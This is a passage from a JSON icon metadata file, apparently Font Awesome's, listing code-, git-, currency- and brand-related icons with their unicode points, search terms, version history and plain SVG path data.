        "path": "M226.119,388.165a3.816,3.816,0,0,0-2.294-3.5,3.946,3.946,0,0,0-1.629-.385L72.6,384.3a19.243,19.243,0,0,1-17.924-26.025L81.585,255.692a35.72,35.72,0,0,1,32.373-26H262.525a7.07,7.07,0,0,0,6.392-5.194l10.769-41.131a3.849,3.849,0,0,0-2.237-4.937,3.755,3.755,0,0,0-1.377-.261c-.063,0-.126,0-.189.005H127.38a106.8,106.8,0,0,0-96.99,77.1L3.483,358.824A57.469,57.469,0,0,0,57.314,436q1.43,0,2.86-.072H208.742a7.131,7.131,0,0,0,6.391-5.193L225.839,389.6A3.82,3.82,0,0,0,226.119,388.165ZM306.658,81.2a3.861,3.861,0,0,0,.251-1.367A3.813,3.813,0,0,0,303.079,76c-.064,0-.128,0-.192,0h-41A7.034,7.034,0,0,0,255.5,81.2l-21.347,80.915h51.131ZM180.364,368.249H231.5L263.452,245.69H212.321ZM511.853,79.723a3.809,3.809,0,0,0-3.8-3.661c-.058,0-.137,0-.23.007h-41a7.1,7.1,0,0,0-6.584,5.129L368.91,430.634a3.54,3.54,0,0,0-.262,1.335,3.873,3.873,0,0,0,3.864,3.863c.056,0,.112,0,.169,0h41a7.068,7.068,0,0,0,6.392-5.193L511.533,81.2A3.624,3.624,0,0,0,511.853,79.723ZM324.649,384.47h-41a7.2,7.2,0,0,0-6.392,5.194L266.52,430.8a3.662,3.662,0,0,0-.268,1.374A3.783,3.783,0,0,0,270.023,436c.06,0,.166,0,.3-.012h40.905a7.036,7.036,0,0,0,6.391-5.193l10.769-41.131a3.75,3.75,0,0,0-3.445-5.208c-.108,0-.217,0-.326.014Zm311.324-308.4h-41a7.066,7.066,0,0,0-6.392,5.129l-91.46,349.436a4.073,4.073,0,0,0-.229,1.347,3.872,3.872,0,0,0,3.863,3.851c.056,0,.112,0,.169,0h40.968a7.1,7.1,0,0,0,6.392-5.193L639.68,81.2a3.624,3.624,0,0,0,.32-1.475,3.841,3.841,0,0,0-3.821-3.564c-.068,0-.137,0-.206.006ZM371.562,225.236l10.8-41.1a4.369,4.369,0,0,0,.227-1.388,3.869,3.869,0,0,0-3.861-3.842c-.057,0-.113,0-.169,0h-41.1a7.292,7.292,0,0,0-6.391,5.226l-10.834,41.1a4.417,4.417,0,0,0-.26,1.493c0,.069,0,.138,0,.206a3.776,3.776,0,0,0,3.757,3.507c.076,0,.18,0,.3-.012h41.129A7.034,7.034,0,0,0,371.562,225.236Z"
      }
    },
    "free": ["brands"]
  },
  "code": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f121"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["brackets", "code", "development", "html"]
    },
    "styles": ["solid"],
    "unicode": "f121",
    "label": "Code",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "code-branch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f126"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["branch", "git", "github", "rebase", "svn", "vcs", "version"]
    },
    "styles": ["solid"],
    "unicode": "f126",
    "label": "Code Branch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3v87.8c18.8-10.9 40.7-17.1 64-17.1h96c35.3 0 64-28.7 64-64v-6.7C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V160c0 70.7-57.3 128-128 128H176c-35.3 0-64 28.7-64 64v6.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V352 153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm232 0a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM80 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3v87.8c18.8-10.9 40.7-17.1 64-17.1h96c35.3 0 64-28.7 64-64v-6.7C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V160c0 70.7-57.3 128-128 128H176c-35.3 0-64 28.7-64 64v6.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V352 153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm232 0a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM80 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "code-commit": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f386"]
      }
    },
    "changes": [
      "5.0.0",
      "5.1.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "commit",
        "git",
        "github",
        "hash",
        "rebase",
        "svn",
        "vcs",
        "version"
      ]
    },
    "styles": ["solid"],
    "unicode": "f386",
    "label": "Code Commit",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm156.8-48C462 361 397.4 416 320 416s-142-55-156.8-128H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H163.2C178 151 242.6 96 320 96s142 55 156.8 128H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H476.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm156.8-48C462 361 397.4 416 320 416s-142-55-156.8-128H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H163.2C178 151 242.6 96 320 96s142 55 156.8 128H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H476.8z"
      }
    },
    "free": ["solid"]
  },
  "code-compare": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["compare", "git", "github", "svn", "version"]
    },
    "styles": ["solid"],
    "unicode": "e13a",
    "label": "Code Compare",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 488c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1s14.2 12.4 14.2 21.9v40h16c35.3 0 64-28.7 64-64V153.3C371.7 141 352 112.8 352 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V320c0 70.7-57.3 128-128 128H320v40zM456 80a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 24c0-9.5 5.6-18.1 14.2-21.9s18.8-2.3 25.8 4.1l80 72c5.1 4.6 7.9 11 7.9 17.8s-2.9 13.3-7.9 17.8l-80 72c-7 6.3-17.2 7.9-25.8 4.1s-14.2-12.4-14.2-21.9V128H176c-35.3 0-64 28.7-64 64V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-70.7 57.3-128 128-128h16V24zM56 432a24 24 0 1 0 48 0 24 24 0 1 0 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 488c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1s14.2 12.4 14.2 21.9v40h16c35.3 0 64-28.7 64-64V153.3C371.7 141 352 112.8 352 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V320c0 70.7-57.3 128-128 128H320v40zM456 80a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 24c0-9.5 5.6-18.1 14.2-21.9s18.8-2.3 25.8 4.1l80 72c5.1 4.6 7.9 11 7.9 17.8s-2.9 13.3-7.9 17.8l-80 72c-7 6.3-17.2 7.9-25.8 4.1s-14.2-12.4-14.2-21.9V128H176c-35.3 0-64 28.7-64 64V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-70.7 57.3-128 128-128h16V24zM56 432a24 24 0 1 0 48 0 24 24 0 1 0 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "code-fork": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fork", "git", "github", "svn", "version"]
    },
    "styles": ["solid"],
    "unicode": "e13b",
    "label": "Code Fork",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3V192c0 17.7 14.3 32 32 32H304c17.7 0 32-14.3 32-32V153.3C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V192c0 53-43 96-96 96H256v70.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V288H144c-53 0-96-43-96-96V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm208 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM248 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M80 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm80-24c0 32.8-19.7 61-48 73.3V192c0 17.7 14.3 32 32 32H304c17.7 0 32-14.3 32-32V153.3C307.7 141 288 112.8 288 80c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V192c0 53-43 96-96 96H256v70.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V288H144c-53 0-96-43-96-96V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80zm208 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM248 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "code-merge": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f387"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "git",
        "github",
        "merge",
        "pr",
        "rebase",
        "svn",
        "vcs",
        "version"
      ]
    },
    "styles": ["solid"],
    "unicode": "f387",
    "label": "Code Merge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32.4 97.2c28-12.4 47.6-40.5 47.6-73.2c0-44.2-35.8-80-80-80S0 35.8 0 80c0 32.8 19.7 61 48 73.3V358.7C19.7 371 0 399.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V272c26.7 20.1 60 32 96 32h86.7c12.3 28.3 40.5 48 73.3 48c44.2 0 80-35.8 80-80s-35.8-80-80-80c-32.8 0-61 19.7-73.3 48H208c-49.9 0-91-38.1-95.6-86.8zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM344 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M80 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32.4 97.2c28-12.4 47.6-40.5 47.6-73.2c0-44.2-35.8-80-80-80S0 35.8 0 80c0 32.8 19.7 61 48 73.3V358.7C19.7 371 0 399.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V272c26.7 20.1 60 32 96 32h86.7c12.3 28.3 40.5 48 73.3 48c44.2 0 80-35.8 80-80s-35.8-80-80-80c-32.8 0-61 19.7-73.3 48H208c-49.9 0-91-38.1-95.6-86.8zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM344 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "code-pull-request": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["git", "github", "pr", "svn", "version"]
    },
    "styles": ["solid"],
    "unicode": "e13c",
    "label": "Code Pull Request",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M305.8 2.1C314.4 5.9 320 14.5 320 24V64h16c70.7 0 128 57.3 128 128V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-35.3-28.7-64-64-64H320v40c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1zM104 80A24 24 0 1 0 56 80a24 24 0 1 0 48 0zm8 73.3V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80c0 32.8-19.7 61-48 73.3zM104 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm328 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M305.8 2.1C314.4 5.9 320 14.5 320 24V64h16c70.7 0 128 57.3 128 128V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-35.3-28.7-64-64-64H320v40c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1zM104 80A24 24 0 1 0 56 80a24 24 0 1 0 48 0zm8 73.3V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80c0 32.8-19.7 61-48 73.3zM104 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm328 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "codepen": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1cb",
    "label": "Codepen",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"
      }
    },
    "free": ["brands"]
  },
  "codiepie": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f284",
    "label": "Codie Pie",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 472 512\"><path d=\"M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z\"/></svg>",
        "viewBox": [0, 0, 472, 512],
        "width": 472,
        "height": 512,
        "path": "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"
      }
    },
    "free": ["brands"]
  },
  "coins": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f51e"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["currency", "dime", "financial", "gold", "money", "penny"]
    },
    "styles": ["solid"],
    "unicode": "f51e",
    "label": "Coins",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 80c0 18-14.3 34.6-38.4 48c-29.1 16.1-72.5 27.5-122.3 30.9c-3.7-1.8-7.4-3.5-11.3-5C300.6 137.4 248.2 128 192 128c-8.3 0-16.4 .2-24.5 .6l-1.1-.6C142.3 114.6 128 98 128 80c0-44.2 86-80 192-80S512 35.8 512 80zM160.7 161.1c10.2-.7 20.7-1.1 31.3-1.1c62.2 0 117.4 12.3 152.5 31.4C369.3 204.9 384 221.7 384 240c0 4-.7 7.9-2.1 11.7c-4.6 13.2-17 25.3-35 35.5c0 0 0 0 0 0c-.1 .1-.3 .1-.4 .2l0 0 0 0c-.3 .2-.6 .3-.9 .5c-35 19.4-90.8 32-153.6 32c-59.6 0-112.9-11.3-148.2-29.1c-1.9-.9-3.7-1.9-5.5-2.9C14.3 274.6 0 258 0 240c0-34.8 53.4-64.5 128-75.4c10.5-1.5 21.4-2.7 32.7-3.5zM416 240c0-21.9-10.6-39.9-24.1-53.4c28.3-4.4 54.2-11.4 76.2-20.5c16.3-6.8 31.5-15.2 43.9-25.5V176c0 19.3-16.5 37.1-43.8 50.9c-14.6 7.4-32.4 13.7-52.4 18.5c.1-1.8 .2-3.5 .2-5.3zm-32 96c0 18-14.3 34.6-38.4 48c-1.8 1-3.6 1.9-5.5 2.9C304.9 404.7 251.6 416 192 416c-62.8 0-118.6-12.6-153.6-32C14.3 370.6 0 354 0 336V300.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 342.6 135.8 352 192 352s108.6-9.4 148.1-25.9c7.8-3.2 15.3-6.9 22.4-10.9c6.1-3.4 11.8-7.2 17.2-11.2c1.5-1.1 2.9-2.3 4.3-3.4V304v5.7V336zm32 0V304 278.1c19-4.2 36.5-9.5 52.1-16c16.3-6.8 31.5-15.2 43.9-25.5V272c0 10.5-5 21-14.9 30.9c-16.3 16.3-45 29.7-81.3 38.4c.1-1.7 .2-3.5 .2-5.3zM192 448c56.2 0 108.6-9.4 148.1-25.9c16.3-6.8 31.5-15.2 43.9-25.5V432c0 44.2-86 80-192 80S0 476.2 0 432V396.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 438.6 135.8 448 192 448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 80c0 18-14.3 34.6-38.4 48c-29.1 16.1-72.5 27.5-122.3 30.9c-3.7-1.8-7.4-3.5-11.3-5C300.6 137.4 248.2 128 192 128c-8.3 0-16.4 .2-24.5 .6l-1.1-.6C142.3 114.6 128 98 128 80c0-44.2 86-80 192-80S512 35.8 512 80zM160.7 161.1c10.2-.7 20.7-1.1 31.3-1.1c62.2 0 117.4 12.3 152.5 31.4C369.3 204.9 384 221.7 384 240c0 4-.7 7.9-2.1 11.7c-4.6 13.2-17 25.3-35 35.5c0 0 0 0 0 0c-.1 .1-.3 .1-.4 .2l0 0 0 0c-.3 .2-.6 .3-.9 .5c-35 19.4-90.8 32-153.6 32c-59.6 0-112.9-11.3-148.2-29.1c-1.9-.9-3.7-1.9-5.5-2.9C14.3 274.6 0 258 0 240c0-34.8 53.4-64.5 128-75.4c10.5-1.5 21.4-2.7 32.7-3.5zM416 240c0-21.9-10.6-39.9-24.1-53.4c28.3-4.4 54.2-11.4 76.2-20.5c16.3-6.8 31.5-15.2 43.9-25.5V176c0 19.3-16.5 37.1-43.8 50.9c-14.6 7.4-32.4 13.7-52.4 18.5c.1-1.8 .2-3.5 .2-5.3zm-32 96c0 18-14.3 34.6-38.4 48c-1.8 1-3.6 1.9-5.5 2.9C304.9 404.7 251.6 416 192 416c-62.8 0-118.6-12.6-153.6-32C14.3 370.6 0 354 0 336V300.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 342.6 135.8 352 192 352s108.6-9.4 148.1-25.9c7.8-3.2 15.3-6.9 22.4-10.9c6.1-3.4 11.8-7.2 17.2-11.2c1.5-1.1 2.9-2.3 4.3-3.4V304v5.7V336zm32 0V304 278.1c19-4.2 36.5-9.5 52.1-16c16.3-6.8 31.5-15.2 43.9-25.5V272c0 10.5-5 21-14.9 30.9c-16.3 16.3-45 29.7-81.3 38.4c.1-1.7 .2-3.5 .2-5.3zM192 448c56.2 0 108.6-9.4 148.1-25.9c16.3-6.8 31.5-15.2 43.9-25.5V432c0 44.2-86 80-192 80S0 476.2 0 432V396.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 438.6 135.8 448 192 448z"
      }
    },
    "free": ["solid"]
  },
  "colon-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Colon Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e140",
    "label": "Colon Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M255 39.8c4.3-17.1-6.1-34.5-23.3-38.8S197.2 7.1 193 24.2L181.9 68.6C96.1 87.8 32 164.4 32 256c0 58.1 25.8 110.2 66.7 145.4L81 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l13-52.1c9 3.4 18.4 6.2 28 8.2L177 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l10.4-41.4c33.4-4.4 64.1-17.4 89.8-36.7c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-10.2 7.7-21.7 13.9-34 18.3L321 160c9.4-.3 18.5-4.7 24.6-12.8c10.6-14.1 7.8-34.2-6.4-44.8c-1.1-.8-2.2-1.6-3.3-2.4L351 39.8c4.3-17.1-6.1-34.5-23.3-38.8S293.2 7.1 289 24.2L277.2 71.5c-9.3-2.7-18.8-4.6-28.6-5.9L255 39.8zM163.2 143.3L117.3 326.8C103.9 306.5 96 282.2 96 256c0-48.7 27.2-91 67.2-112.7zm8.6 229.5l61.1-244.6c9.9 .7 19.5 2.5 28.7 5.3l-62 248.1c-9.7-1.9-19-4.8-27.8-8.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M255 39.8c4.3-17.1-6.1-34.5-23.3-38.8S197.2 7.1 193 24.2L181.9 68.6C96.1 87.8 32 164.4 32 256c0 58.1 25.8 110.2 66.7 145.4L81 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l13-52.1c9 3.4 18.4 6.2 28 8.2L177 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l10.4-41.4c33.4-4.4 64.1-17.4 89.8-36.7c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-10.2 7.7-21.7 13.9-34 18.3L321 160c9.4-.3 18.5-4.7 24.6-12.8c10.6-14.1 7.8-34.2-6.4-44.8c-1.1-.8-2.2-1.6-3.3-2.4L351 39.8c4.3-17.1-6.1-34.5-23.3-38.8S293.2 7.1 289 24.2L277.2 71.5c-9.3-2.7-18.8-4.6-28.6-5.9L255 39.8zM163.2 143.3L117.3 326.8C103.9 306.5 96 282.2 96 256c0-48.7 27.2-91 67.2-112.7zm8.6 229.5l61.1-244.6c9.9 .7 19.5 2.5 28.7 5.3l-62 248.1c-9.7-1.9-19-4.8-27.8-8.8z"
      }
    },
    "free": ["solid"]
  },
  "comment": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5e9", "f0e5"],
        "secondary": ["10f075"]
      }
    },
    "changes": [
